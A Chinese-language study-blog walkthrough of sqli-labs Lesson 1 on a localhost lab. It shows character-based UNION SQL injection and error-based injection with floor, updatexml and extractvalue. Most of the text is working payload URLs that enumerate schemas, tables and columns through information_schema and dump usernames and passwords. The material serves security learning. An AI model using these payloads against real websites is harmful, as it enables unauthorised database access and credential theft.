0x01字符注入
今天是第一天的學習sqli-labs
Lesson1:字符型注入
首先測試一下 ' 發現報錯 然后 ''發現 不報錯 這種大概率就是字符注入了
接下來我們進行列查詢 查詢語句
http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23
發現列數是3 這里后面之所以要用%23是因為這里我們的url在ger方式提交的時候要進行一次url轉碼 所以我們要讓轉碼后的字符為#來閉合語句
查看當前數據庫名稱
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23
查看所有數據庫名稱
http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23
接下來數據庫名稱得到以后我們要進行獲取表名 操作語句 這里你會遇見 直接table_schema=你想查的數據庫名 這樣行不通 得把它轉換為16進制在賦值給前面才能成功
對16進制的解釋、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
看到表名中有一個叫做users的表應該有點東西 接下來我們爆列名
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23
可以看見里面有username password這些關鍵字 我們就可以爆字段了
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23
成功爆出字段usernamepassword字段名 0x3a: 0x是十六進制標志,3a是十進制的58,是ascii中的 ':' ,用以分割pasword和username。
0x02手工報錯型注入
既然講到這里 我們就來講一下報錯類型有些什么?
以下學習來自https://blog.csdn.net/weixin_42277564/article/details/80635586這個大佬
1、通過floor報錯
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
注:輸出字符長度限制為64個字符
payload填sql語句
2、通過updatexml報錯
and updatexml(1,payload,1) and updatexml(1,concat(0x7e,@@version,0x7e),1)注:輸出字符有長度限制,最長32位
3、通過ExtractValue報錯
and extractvalue(1, payload) and extractv注:輸出字符有長度限制,最長32位alue(1, concat(0x7e,@@version,0x7e))
我們簡單的了解了報錯型手工注入之后我們來進行實戰
先要檢查報錯類型的payload
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23 ///並未報錯 http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23 ///報錯了
證明確實存在手工報錯型注入,
爆表的payload 這里我們運用的是上面的報錯的方法的第二種
127.0.0.1/sql1/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23
可以看見成功爆出表名 接下來我們進行列名的爆破
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23
這里發現這些並未顯示完全 是因為這個報錯最多就報錯 32個字符 那我們可以用其他語句讓他顯示完全
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23
接下里就是爆值的操作
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23
同樣使用not in顯示其他值
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23
sqlmap這里我們就不講了 基本上都會一把梭哈 嘿嘿
切記 少就是多 快就是慢哦~~